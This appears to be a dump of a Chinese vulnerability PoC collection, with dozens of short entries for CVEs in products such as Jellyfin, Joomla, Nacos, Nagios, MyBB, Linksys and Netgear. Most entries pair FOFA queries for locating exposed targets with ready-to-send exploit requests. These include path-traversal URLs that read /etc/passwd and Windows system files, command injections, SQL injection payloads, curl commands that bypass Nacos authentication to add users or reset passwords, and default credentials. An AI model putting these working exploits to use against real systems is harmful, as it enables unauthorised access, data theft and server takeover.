``` 25 | 26 | via：xzuser@https://xz.aliyun.com/t/9115 -------------------------------------------------------------------------------- /IE 脚本引擎 jscript9.dll 内存损坏漏洞（CVE-2021-26419）.md: -------------------------------------------------------------------------------- 1 | # IE 脚本引擎 jscript9.dll 内存损坏漏洞（CVE-2021-26419） 2 | 3 | IE 脚本引擎存在远程代码执行漏洞，攻击者可通过诱导用户打开特制网站来利用此漏洞，从而在目标设备上执行任意代码。 4 | 5 | 6 | poc见：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26419 7 | 8 | -------------------------------------------------------------------------------- /Internet Explorer内存损坏漏洞（CVE-2021-26411）.md: -------------------------------------------------------------------------------- 1 | # Internet Explorer内存损坏漏洞（CVE-2021-26411） 2 | 3 | 4 | Interne Explorer在处理DOM对象时，存在一处double free漏洞，攻击者可通过诱导用户点击恶意链接或文件来利用此漏洞，此漏洞可导致远程代码执行，从而使攻击者控制用户系统。该漏洞细节已公开，并检测到在野利用。 5 | 6 | 漏洞详情可以参考：https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html 7 | 8 | PoC： 9 | 10 | 11 | ```js 12 | 29 | ``` 30 | 31 | ref： 32 | 33 | * https://msrc.microsoft.com/updat ... lity/CVE-2021-26411 34 | * https://nvd.nist.gov/vuln/detail/CVE-2021-26411 35 | * https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html 36 | -------------------------------------------------------------------------------- /Ivanti Avalanche 目录遍历漏洞.md: -------------------------------------------------------------------------------- 1 | # Ivanti Avalanche 目录遍历漏洞 2 | 3 | 4 | Ivanti Avalanche是一种移动设备管理系统。Ivanti Avalanche中的一个漏洞允许未经身份验证的远程用户请求位于“ image”文件夹之外的文件。 5 | 6 | 影响版本： 7 | 8 | Windows v6.3.2.3490 的 Avalanche Premise 6.3.2 9 | 10 | PoC： 11 | 12 | 13 | ``` 14 | 数据库读取： 15 | https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Program Files/Microsoft SQL Server/MSSQL11.SQLEXPRESS/MSSQL/DATA/Avalanche.mdf 16 | 17 | 其它： 18 | https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/Windows/system32/config/system.sav 19 | https://EXAMPLE_IP:8443/AvalancheWeb/image?imageFilePath=C:/sysprep/sysprep.inf 20 | 21 | ``` 22 | 23 | ref： 24 | 25 | https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/ -------------------------------------------------------------------------------- /JD-FreeFuck 后台命令执行漏洞.md: -------------------------------------------------------------------------------- 1 | # JD-FreeFuck 后台命令执行漏洞 2 | 3 | JD-FreeFuck 存在后台命令执行漏洞，由于传参执行命令时没有对内容过滤，导致可以执行任意命令，控制服务器 4 | 5 | 项目地址：https://github.com/meselson/JD-FreeFuck 6 | 7 | FOFA: 8 | 9 | ``` 10 | title="京东薅羊毛控制面板" 11 | ``` 12 | 13 | 默认账号密码为 14 | 15 | `useradmin/supermanito` 16 | 17 | PoC： 18 | 19 | ```bash 20 | POST /runCmd HTTP/1.1 21 | Host: 101.200.189.251:5678 22 | Content-Length: 50 23 | Pragma: no-cache 24 | Cache-Control: no-cache 25 | Accept: */* 26 | X-Requested-With: XMLHttpRequest 27 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 28 | Content-Type: application/x-www-form-urlencoded; charset=UTF-8 29 | Accept-Encoding: gzip, deflate 30 | Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 31 | Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U 32 | Connection: close 33 | 34 | cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&delay=500 35 | ``` 36 | 37 | from：https://mp.weixin.qq.com/s/MEcuSnroUh6z3wp9Mi_OkA -------------------------------------------------------------------------------- /JEEWMS 未授权任意文件读取漏洞.md: -------------------------------------------------------------------------------- 1 | # JEEWMS 未授权任意文件读取漏洞 2 | 3 | 厦门市灵鹿谷科技有限公司 JEEWMS /systemController/showOrDownByurl.do文件 存在未授权任意文件读取漏洞,攻击者可利用该漏洞获取服务器文件,导致大量敏感信息泄露. 4 | 5 | 6 | ``` 7 | http://target/systemController/showOrDownByurl.do?down=&dbPath=../Windows/win.ini 8 | http://target/systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd 9 | ``` 10 | 11 | ref: 12 | 13 | https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=4033 -------------------------------------------------------------------------------- /Jellyfin 任意文件读取（CVE-2021-21402）.md: -------------------------------------------------------------------------------- 1 | # Jellyfin 任意文件读取（CVE-2021-21402） 2 | 3 | Jellyfin是一个免费软件媒体系统。在10.7.1版之前的Jellyfin中，带有某些终结点的精心设计的请求将允许从Jellyfin服务器的文件系统中读取任意文件。 4 | 5 | fofa： 6 | 7 | ``` 8 | title="Jellyfin" 9 | ``` 10 | 11 | 任意文件读取： 12 | 13 | ``` 14 | //以下请求jellyfin.db将从服务器下载带有密码的数据库 15 | GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1 16 | GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1 17 | ``` 18 | 19 | ![-w1093](media/16215838843080/16215839880736.jpg) 20 | 21 | 22 | ref： 23 | 24 | * https://nvd.nist.gov/vuln/detail/CVE-2021-21402 25 | * https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/ 26 | * https://forum.ywhack.com/thread-115353-1-7.html -------------------------------------------------------------------------------- /Joomla CMS 框架 ACL 安全访问控制漏洞（CVE-2020-35616）.md: -------------------------------------------------------------------------------- 1 | # Joomla CMS 框架 ACL 安全访问控制漏洞（CVE-2020-35616） 2 | 3 | POST请求表单中的ACL规则集的格式： jform[rules][core.PERMISSION][GROUP_ID] 4 | 5 | ``` 6 | jform[rules][core.delete][ID] 7 | jform[rules][core.edit][ID] 8 | jform[rules][core.edit.state][ID] 9 | jform[rules][core.edit.own][ID] 10 | ``` 11 | 12 | 如果将这些POST请求参数设置为值1，则基本上将这些特定权限设置为Allowed 13 | 14 | **PoC:** 15 | 16 | ``` 17 | POST administrator/index.php?option={Target Category} 18 | ... 19 | ... 20 | ... 21 | &jform[rules][core.{create|delete|edit}][AttackerID]=1 22 | ``` 23 | 24 | 如上所述，我们希望向组ID为7的管理员授予所有权限。因此，在保存表单时，我们需要附加以下POST数据： 25 | 26 | ``` 27 | &jform[rules][core.create][7]=1&jform[rules][core.delete][7]=1&jform[rules][core.edit][7]=1&jform[rules][core.edit.state][7]=1&jform[rules][core.edit.own][7]=1 28 | ``` 29 | 30 | ![](media/16096789927812/16096790331190.jpg) 31 | 32 | 33 | PoC验证视频： 34 | https://youtu.be/AZr6WydbUA0 35 | 36 | 详细分析文章见：https://blog.securelayer7.net/latest-joomla-exploit-cve-2020-35616-acl-security-vulnerabilities/ -------------------------------------------------------------------------------- /Joomla com_media 后台 RCE (CVE-2021-23132).md: -------------------------------------------------------------------------------- 1 | # Joomla com_media 后台 RCE (CVE-2021-23132) 2 | 3 | 影响版本： 4 | 5 | Joomla core <=3.9.24 6 | 7 | * CVE-2021-23132 com_media allowed paths that are not intended for image uploads to RCE. 8 | * CVE-2020-24597 Directory traversal in com_media to RCE 9 | 10 | 11 | 步骤： 12 | 13 | 获取超级管理员权限，触发RCE。 14 | 15 | **PoC：** 16 | 17 | ``` 18 | http://target/templates/protostar/error.php?cmd=ls 19 | python3 cve-2021-23132.py -url http://192.168.72.140 -u admin -p 1234 -rce 1 -cmd ls 20 | ``` 21 | 22 | poc.py：https://github.com/HoangKien1020/CVE-2021-23132 -------------------------------------------------------------------------------- /KEADCOM 数字系统接入网关任意文件读取漏洞.md: -------------------------------------------------------------------------------- 1 | # KEADCOM 数字系统接入网关任意文件读取漏洞 2 | 3 | 4 | KEADCOM 数字系统接入网关 FileDownloadServlet 存在任意文件读取漏洞，攻击者通过构造请求可以读取服务器任意文件。 5 | 6 | 7 | fofa： 8 | 9 | ``` 10 | (app="KEDACOM-DVR接入网关") && (is_honeypot=false && is_fraud=false) 11 | ``` 12 | 13 | poc： 14 | 15 | ``` 16 | http://target//gatewayweb/FileDownloadServlet?fileName=pq.txt&filePath=../../../../../../../../../../Windows/System32/drivers/etc/hosts%00.jpg&type=2 17 | 18 | ``` 19 | 20 | ref： 21 | 22 | https://poc.shuziguanxing.com/#/publicIssueInfo#issueId=3969 -------------------------------------------------------------------------------- /Kubernetes 准入机制绕过（CVE-2021-25735）.md: -------------------------------------------------------------------------------- 1 | # Kubernetes 准入机制绕过（CVE-2021-25735） 2 | 3 | 在kube-apiserver中发现一个漏洞，该漏洞可能允许节点更新绕过Validation Admission Webhook。如果攻击者具有足够的权限，并且利用旧 Node 对象属性（例如 Node.NodeSpec 中的字段）实现了验证准入网络钩子，则攻击者可以更新节点的属性，这可能会导致集群受到危害。 4 | 5 | 影响版本： 6 | 7 | * kube-apiserver v1.20.0 至 v1.20.5 8 | * kube-apiserver v1.19.0 至 v1.19.9 9 | * kube-apiserver <= v1.18.17 10 | 11 | 利用CVE-2021-25735： 12 | 13 | 通过执行组合操作将changeAllowed标签更改为true并添加一个新标签，触发该漏洞，新的值已被准入控制器覆盖。 14 | 15 | 16 | ``` 17 | labels: 18 | test: test 19 | changeAllowed: "true" 20 | ``` 21 | 22 | 详情可以参考：https://sysdig.com/blog/cve-2021-25735-kubernetes-admission-bypass/ 23 | 24 | ref： 25 | 26 | * https://sysdig.com/blog/cve-2021-25735-kubernetes-admission-bypass/ 27 | * https://github.com/darryk10/CVE-2021-25735 28 | * https://nvd.nist.gov/vuln/detail/CVE-2021-25735 29 | * https://cloud.google.com/kubernetes-engine/docs/security-bulletins -------------------------------------------------------------------------------- /LightCMS 存储型XSS（CVE-2021-3355）.md: -------------------------------------------------------------------------------- 1 | # LightCMS 存储型XSS（CVE-2021-3355） 2 | 3 | lightCMS 是一个轻量级的 CMS 系统，也可以作为一个通用的后台管理框架使用。lightCMS 集成了用户管理、权限管理、日志管理、菜单管理等后台管理框架的通用功能，同时也提供模型管理、分类管理等 CMS 系统中常用的功能。LightCMSv1.3.4版本中发现了一个持久性XSS漏洞。 4 | 5 | 影响版本： 6 | 7 | LightCMS v1.3.4 8 | 9 | **复现步骤：** 10 | 11 | * 1.登录后台 12 | * 2.访问：/admin/SensitiveWords/create 新增敏感词中的专有词值(exclusive)中填入Payload即可。 13 | * 3.访问/admin/SensitiveWords触发。 14 | 15 | PoC： 16 | 17 | 18 | ``` 19 | 20 | ``` 21 | 22 | ref： 23 | 24 | * https://nvd.nist.gov/vuln/detail/CVE-2021-3355 25 | * https://github.com/eddy8/LightCMS/issues/18 -------------------------------------------------------------------------------- /Linksys WRT160NL 身份验证命令注入（CVE-2021-25310）.md: -------------------------------------------------------------------------------- 1 | # Linksys WRT160NL 身份验证命令注入（CVE-2021-25310） 2 | 3 | FOFA: 4 | 5 | ``` 6 | app="LINKSYS-WRT160NL" 7 | ``` 8 | 9 | 成功利用此漏洞可能导致在受影响的设备上远程执行代码。 10 | 11 | 管理Web面板允许用户更改UI语言，以将POST请求发送到apply.cgi。该参数在内部作为系统命令中文件系统路径的一部分。缺少输出编码和输入验证，使经过身份验证的攻击者能够注入将以root特权执行系统命令。 12 | 13 | PoC： 14 | 15 | ```bash 16 | POST /apply.cgi;session_id=8e780f3bcc71e19a37cc3e60a5576241 HTTP/1.1 17 | Host: 192.168.1.150 18 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0 19 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 20 | Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 21 | Accept-Encoding: gzip, deflate 22 | Content-Type: application/x-www-form-urlencoded 23 | Content-Length: 854 24 | Origin: http://192.168.1.150 25 | Connection: close 26 | Referer: http://192.168.1.150/index.asp;session_id=8e780f3bcc71e19a37cc3e60a5576241 27 | Upgrade-Insecure-Requests: 1 28 | 29 | pptp_dhcp=0&(...)&ui_language=es||ls>/tmp/b||&(...) 30 | ``` 31 | 32 | ref： 33 | 34 | * https://research.nccgroup.com/2021/01/28/technical-advisory-linksys-wrt160nl-authenticated-command-injection-cve-2021-25310/ 35 | * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25310 36 | * https://forum.ywhack.com/thread-115065-1-1.html -------------------------------------------------------------------------------- /Mark Text Markdown 编辑器RCE（CVE-2021-29996）.md: -------------------------------------------------------------------------------- 1 | # Mark Text Markdown 编辑器RCE（CVE-2021-29996） 2 | 3 | Mark Text 0.16.3可以使攻击者任意执行命令。通过打开包含变异跨站脚本（XSS）Payload的.md文件，这可能导致远程执行代码（RCE）。 4 | 5 | PoC: 6 | 7 | ``` 21 | 24 | 25 | 26 | Æ 27 | 28 | 29 | ``` 30 | 31 | **poc.ttf:** 32 | 33 | https://bugs.chromium.org/p/project-zero/issues/detail?id=2123 34 | 35 | ref: 36 | 37 | * https://bugs.chromium.org/p/project-zero/issues/detail?id=2123 38 | * https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=478314 39 | * https://www.anquanke.com/vul/id/2344115 -------------------------------------------------------------------------------- /Microsoft Windows 10 蓝屏死机漏洞.md: -------------------------------------------------------------------------------- 1 | # Microsoft Windows 10 蓝屏死机漏洞 2 | 3 | 此漏洞影响 Microsoft windows 10 系统，攻击者可以通过发送带有 \\.\globalroot\device\condrv\kernelconnect 链接的文件，诱导受害者点击，利用成功可导致机器蓝屏死机。 4 | 5 | **PoC：** 6 | 7 | ```bash 8 | \\.\globalroot\device\condrv\kernelconnect 9 | 10 | document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect'; 11 | ``` 12 | 13 | ref: 14 | 15 | https://www.bleepingcomputer.com/news/security/windows-10-bug-crashes-your-pc-when-you-access-this-location/ -------------------------------------------------------------------------------- /Microsoft Windows NTFS磁盘损坏漏洞.md: -------------------------------------------------------------------------------- 1 | # Microsoft Windows NTFS磁盘损坏漏洞 2 | 3 | 以某种方式尝试访问文件夹中的$i30 NTFS属性，驱动器可能会损坏。攻击者可利用该漏洞，构造恶意命令隐藏在Windows快捷方式文件，批处理文件等方式传递来触发漏洞，导致文件系统索引损坏的硬盘错误。 4 | 5 | PoC： 6 | 7 | 8 | ``` 9 | “cd c:\:$i30:$bitmap” 10 | ``` 11 | 12 | ref： 13 | 14 | http://forum.ywhack.com/redirect.php?goto=findpost&ptid=114994&pid=115409 15 | 16 | https://mp.weixin.qq.com/s/kieR-mJ09LoGBYrCMTcpRA -------------------------------------------------------------------------------- /Microsoft Windows10 本地提权漏洞（CVE-2021-1732）.md: -------------------------------------------------------------------------------- 1 | # Microsoft Windows10 本地提权漏洞（CVE-2021-1732） 2 | 3 | 4 | 该漏洞由函数win32kfull!xxxCreateWi ndowEx 对应用层回调返回数据校验不严导致，本地用户执行漏洞利用程序获取系统权限。 5 | 6 | **影响版本：** 7 | 8 | * Windows Server, version 20H2 (Server Core Installation) 9 | * Windows 10 Version 20H2 for ARM64-based Systems 10 | * Windows 10 Version 20H2 for 32-bit Systems 11 | * Windows 10 Version 20H2 for x64-based Systems 12 | * Windows Server, version 2004 (Server Core installation) 13 | * Windows 10 Version 2004 for x64-based Systems 14 | * Windows 10 Version 2004 for ARM64-based Systems 15 | * Windows 10 Version 2004 for 32-bit Systems 16 | * Windows Server, version 1909 (Server Core installation) 17 | * Windows 10 Version 1909 for ARM64-based Systems 18 | * Windows 10 Version 1909 for x64-based Systems 19 | * Windows 10 Version 1909 for 32-bit Systems 20 | * Windows Server 2019 (Server Core installation) 21 | * Windows Server 2019 22 | * Windows 10 Version 1809 for ARM64-based Systems 23 | * Windows 10 Version 1809 for x64-based Systems 24 | * Windows 10 Version 1809 for 32-bit Systems 25 | * Windows 10 Version 1803 for ARM64-based Systems 26 | * Windows 10 Version 1803 for x64-based Systems 27 | 28 | CVE-­2021­-1732 Microsoft Windows10 本地提权漏 研究及Exploit开发：https://bbs.pediy.com/thread-266362.htm 29 | 30 | exploit：https://github.com/KaLendsi/CVE-2021-1732-Exploit -------------------------------------------------------------------------------- /MinIO未授权SSRF漏洞（CVE-2021-21287）.md: -------------------------------------------------------------------------------- 1 | # MinIO未授权SSRF漏洞（CVE-2021-21287） 2 | 3 | 详情可以看PHITHON的「容器与云的碰撞——一次对MinIO的测试」：https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html 4 | 5 | 复现可以参考：https://www.o2oxy.cn/3104.html 6 | 7 | PoC： 8 | 9 | ```bash 10 | POST /minio/webrpc HTTP/1.1 11 | Host: 192.168.1.142:4444 12 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 13 | Content-Type: application/json 14 | Content-Length: 80 15 | 16 | {"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"} 17 | ``` 18 | 19 | ref： 20 | 21 | * https://github.com/minio/minio/security/advisories/GHSA-m4qq-5f7c-693q 22 | * https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html 23 | * https://www.o2oxy.cn/3104.html -------------------------------------------------------------------------------- /MyBB sql注入导致的远程代码执行 (CVE-2021-27890).md: -------------------------------------------------------------------------------- 1 | # MyBB sql注入导致的远程代码执行 (CVE-2021-27890) 2 | 3 | MyBB在读取模板属性templateset的时候会进行SQL查询操作，而templateset并没有经过任何预处理，因此导致SQL注入。 4 | 5 | 影响版本 6 | 7 | 1.8.16 <= MyBB <= 1.8.25 8 | 9 | Mybb导入主题时可以解析xml文件，存储至数据库。在每次页面加载时，MyBB从数据库中获取所有可能的模板值，并存储在缓存中。提取所有模板值的SQL查询使用templateset属性，该属性未经处理就嵌入查询字符串中。因此，存在一个SQL注入漏洞： 10 | 11 | ```sql 12 | $query = $db->simple_select("templates", "title,template", 13 | "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')", 14 | array('order_by' => 'sid', 'order_dir' => 'asc') 15 | ``` 16 | 17 | Poc： 18 | 19 | ```xml 20 | 21 | 22 | 23 | ') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- 24 | 25 | 26 | ``` 27 | 28 | ref： 29 | 30 | https://blog.sonarsource.com/mybb-remote-code-execution-chain -------------------------------------------------------------------------------- /NPM VSCode扩展中的RCE（CVE-2021-26700）.md: -------------------------------------------------------------------------------- 1 | # NPM VSCode扩展中的RCE（CVE-2021-26700） 2 | 3 | VSCode扩展eg2.vscode-npm-script中的远程代码执行漏洞，查看.vscode/settings.json文件时，项目中的恶意Payload可能导致远程代码执行。 4 | 5 | 测试版本：0.3.13 6 | 7 | ![](images/16133789299379.jpg) 8 | 9 | 10 | * 攻击者发布存储库，例如附加的linux-poc 11 | * 目标克隆存储库以读取VSCode中的源代码 12 | * 目标视图 package.json 13 | * payload.sh 被执行 14 | 15 | PoC： 16 | 17 | https://github.com/jackadamson/CVE-2021-26700 -------------------------------------------------------------------------------- /Nacos Bypass身份验证.md: -------------------------------------------------------------------------------- 1 | # Nacos Bypass身份验证 2 | 3 | 4 | fofa： 5 | 6 | ``` 7 | title="Nacos" || icon_hash="1227052603" 8 | ``` 9 | 10 | **影响范围：** 11 | 12 | * 2.0.0-ALPHA.1 13 | * 1.xx 14 | 15 | **漏洞验证：** 16 | 17 | 18 | ```bash 19 | 访问用户列表界面 20 | curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server' 21 | 22 | 添加新用户 23 | curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server' 24 | 25 | 查看用户列表 26 | curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server' 27 | 28 | 任意密码重置: 29 | curl -XPUT https://test.alibaba.com/nacos/v1/auth/users -d "username=nacos&newPassword=SomeNewPass11222" 30 | ``` 31 | 32 | from:https://github.com/alibaba/nacos/issues/4593 33 | 34 | ref：https://forum.ywhack.com/thread-114954-1-1.html 35 | -------------------------------------------------------------------------------- /Nagios Network Analyzer SQL 注入漏洞（CVE-2021-28925）.md: -------------------------------------------------------------------------------- 1 | # Nagios Network Analyzer SQL 注入漏洞（CVE-2021-28925） 2 | 3 | Nagios Network Analyzer 2.4.3 之前的版本中存在 SQL 注入漏洞。参数为 o[col] 接口为 api/checks/read/. 4 | 5 | FOFA:`title="Nagios Network Analyzer"` 6 | 7 | 影响版本：Nagios Network Analyzer < 2.4.3 8 | 9 | PoC： 10 | 11 | ``` 12 | GET /api/checks/read?o[col]=+AND+(SELECT+777+FROM+(SELECT(SLEEP(15)))LURIEL_STOLABS) HTTP/1.1 13 | HOST:target 14 | .... 15 | Payload:+AND+(SELECT+777+FROM+(SELECT(SLEEP(15)))LURIEL_STOLABS) 16 | ``` 17 | 18 | ref: 19 | 20 | * https://nvd.nist.gov/vuln/detail/CVE-2021-28925 21 | * https://www.nagios.com/downloads/nagios-network-analyzer/change-log/ 22 | * https://medium.com/stolabs/issues-found-on-nagios-network-analyzer-2-4-2-50ec4ffb5e25 23 | -------------------------------------------------------------------------------- /Nagios 代码注入漏洞 (CVE-2021-3273).md: -------------------------------------------------------------------------------- 1 | # Nagios 代码注入漏洞 (CVE-2021-3273) 2 | 3 | 4 | 低于5.7的Nagios XI受/nagiosxi/admin/graphtemplates.php组件中的代码注入的影响。要利用此漏洞，攻击者必须在Nagios XI的Web系统中拥有一个管理员用户帐户。 5 | 6 | FOFA： 7 | 8 | ``` 9 | app="Nagios-XI" 10 | ``` 11 | 12 | 在nagios xi 5.7中，管理员可以编辑/删除/添加模板，/nagiosxi/admin/graphtemplates.php 模板将存储在/usr/local/nagios/share/pnp/templates中。通过访问/nagios/pnp/templates/?.php进行执行。 13 | 14 | **PoC：** 15 | 16 | 17 | ``` 18 | POST /nagiosxi/admin/graphtemplates.php?edit=check_local_disk.php&dir=templates HTTP/1.1 19 | Host: 20 | ... 21 | 22 | 23 | ``` 24 | 25 | ref: 26 | 27 | * https://nvd.nist.gov/vuln/detail/CVE-2021-3273 28 | * https://gist.github.com/leommxj/93edce6f8572cefe79a3d7da4389374e -------------------------------------------------------------------------------- /Netgear JGS516PE-GS116Ev2 交换机中多个高危漏洞.md: -------------------------------------------------------------------------------- 1 | # Netgear JGS516PE/GS116Ev2 交换机中多个高危漏洞 2 | 3 | FOFA: 4 | 5 | ``` 6 | title="Netgear ProSAFE Plus Switch" 7 | ``` 8 | 9 | **1.未经身份验证的远程代码执行（CVE-2020-26919）** 10 | 11 | 漏洞点位于login.html中的SubmitId参数，未对调试操作做限制导致用户执行系统命令。 12 | 13 | ```bash 14 | curl -X POST --data-raw 'submitId=debug&debugCmd=sys+dump&submitEnd=' 15 | 'http:///login.htm' 16 | ``` 17 | 18 | **4.存储型XSS（CVE-2020-35228）** 19 | 20 | 21 | ```bash 22 | POST /index.htm HTTP/1.1 23 | Host: 192.168.0.239 24 | User-Agent: (...snip...) 25 | Accept: (...snip...) 26 | Accept-Language: (...snip...) 27 | Accept-Encoding: gzip, deflate 28 | Content-Type: application/x-www-form-urlencoded 29 | Content-Length: 158 30 | Origin: http://192.168.0.239 31 | Connection: close 32 | Referer: http://192.168.0.239/index.htm?0 33 | Cookie: (...snip...) 34 | Upgrade-Insecure-Requests: 1 35 | 36 | submitId=multiLanguageCfg&selectLang=aaaa';alert(1);//&multiLangFlag=0&RegisterStatus=0®isteredPopUp=0&changePwdPopUp=0&changePwd=0&confirmPwd=0&submitEnd= 37 | ``` 38 | 39 | 详情：https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/ -------------------------------------------------------------------------------- /Node.js命令注入漏洞（CVE-2021-21315）.md: -------------------------------------------------------------------------------- 1 | # Node.js命令注入漏洞（CVE-2021-21315） 2 | 3 | 4 | Node.js-systeminformation是用于获取各种系统信息的Node.JS模块，它包含多种轻量级功能，可以检索详细的硬件和系统相关信息。自发布至今，systeminformation软件包下载次数近3400万。2021年02月24日，npm团队发布安全公告，Node.js库中的systeminformation软件包中存在一个命令注入漏洞（CVE-2021-21315），其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。目前该漏洞已经在5.3.1版本中修复。 5 | 6 | **复现步骤：** 7 | 8 | * 1.Linux服务器环境上运行应用程序 9 | * 2.向site.com/api/getServices?name=nginx 发送GET请求 10 | * 3.发送 11 | 12 | PoC：https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC 13 | 14 | ``` 15 | yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt) 16 | yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) 17 | ``` 18 | 19 | **ref：** 20 | 21 | * https://www.venustech.com.cn/new_type/aqtg/20210225/22407.html 22 | * https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC -------------------------------------------------------------------------------- /Nokia G-120W-F 路由器存储型XSS（CVE-2021-30003）.md: -------------------------------------------------------------------------------- 1 | # Nokia G-120W-F 路由器存储型XSS（CVE-2021-30003） 2 | 3 | 在诺基亚 G-120W-F 3FE46606AGAB91设备上发现了一个存储型XSS。 4 | 5 | 详情分析：https://research.0xdutra.com/posts/router-g120w-f/ 6 | 7 | poc： 8 | 9 | ```bash 10 | curl 'http://192.168.237.254/urlfilter.cgi?add' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://192.168.237.254' -H 'Connection: keep-alive' -H 'Referer: http://192.168.237.254/urlfilter.cgi' -H 'Cookie: lsid=YRTNSynGMeHSwqOx; lang=../../..; sid=KpJqGrBuvsTrduXP; admin=1' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'csrf_token=LnwHSQKbNXXlDciL&passwd_token_value=&url_address=&port_num=8080' 11 | ``` 12 | 13 | ref： 14 | 15 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30003 -------------------------------------------------------------------------------- /OneBlog开源博客管理系统 远程命令执行.md: -------------------------------------------------------------------------------- 1 | # OneBlog开源博客管理系统 远程命令执行 2 | 3 | 由于使用含有漏洞版本的Apache Shiro和默认的密钥，导致OneBlog存在远程命令执行漏洞。 4 | 5 | shiro 默认密钥. 6 | 7 | ![](media/16215855485022/16215855715459.jpg) 8 | 9 | 10 | https://forum.ywhack.com/thread-115449-1-6.html -------------------------------------------------------------------------------- /Open5GS 默认密码漏洞 (CVE-2021-25863).md: -------------------------------------------------------------------------------- 1 | # Open5GS 默认密码漏洞 (CVE-2021-25863) 2 | 3 | Open5GS 2.1.3 存在默认配置问题漏洞，该漏洞源于admin帐户的默认密码为1423。 4 | 5 | ZoomEye： 6 | 7 | ``` 8 | title:"Open5GS" +after:"2021-01-01" +before:"2022-01-01" 9 | ``` 10 | 11 | FOFA: 12 | 13 | ``` 14 | title="Open5GS" && body="login" 15 | ``` 16 | 17 | PoC: 18 | 19 | admin/1423 20 | 21 | ref: 22 | 23 | https://github.com/open5gs/open5gs/issues/764 -------------------------------------------------------------------------------- /OpenCMS 11.0.2 文件上传到命令执行.md: -------------------------------------------------------------------------------- 1 | # OpenCMS 11.0.2 文件上传到命令执行 2 | 3 | 4 | FOFA： 5 | 6 | ``` 7 | app="OpenCms/" 8 | ``` 9 | 文件上传需要获取管理员的JSESSIONID或者账号密码。 10 | 11 | SSRF Exploit.html： 12 | 13 | 14 | ```html 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | ``` 27 | 28 | 重定向： 29 | 30 | 31 | ``` 32 | GET /system/login?loginRedirect=https://google.com HTTP/1.1 33 | Host: vulnerablehost.com 34 | Connection: close 35 | Cache-Control: max-age=0 36 | Upgrade-Insecure-Requests: 1 37 | Origin: https://vulnerablehost.com 38 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 39 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 40 | Sec-Fetch-Site: same-origin 41 | Sec-Fetch-Mode: navigate 42 | Sec-Fetch-User: ?1 43 | Sec-Fetch-Dest: document 44 | Referer: https://vulnerablehost.com/system/login 45 | Accept-Encoding: gzip, deflate 46 | Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 47 | Cookie: JSESSIONID=Valid JSESSIONID authenticated cookie 48 | ``` 49 | 50 | 获取到管理员权限后进行上传文件。 51 | 52 | 详情可参考：https://dl.packetstormsecurity.net/2103-exploits/opencms1102-exec.pdf -------------------------------------------------------------------------------- /OpenSSL 拒绝服务漏洞（CVE-2021-3449）.md: -------------------------------------------------------------------------------- 1 | # OpenSSL 拒绝服务漏洞（CVE-2021-3449） 2 | 3 | OpenSSL TLSv1.2 重新协商选项（默认开启）中存在一处空指针解引用，并导致拒绝服务。 4 | 5 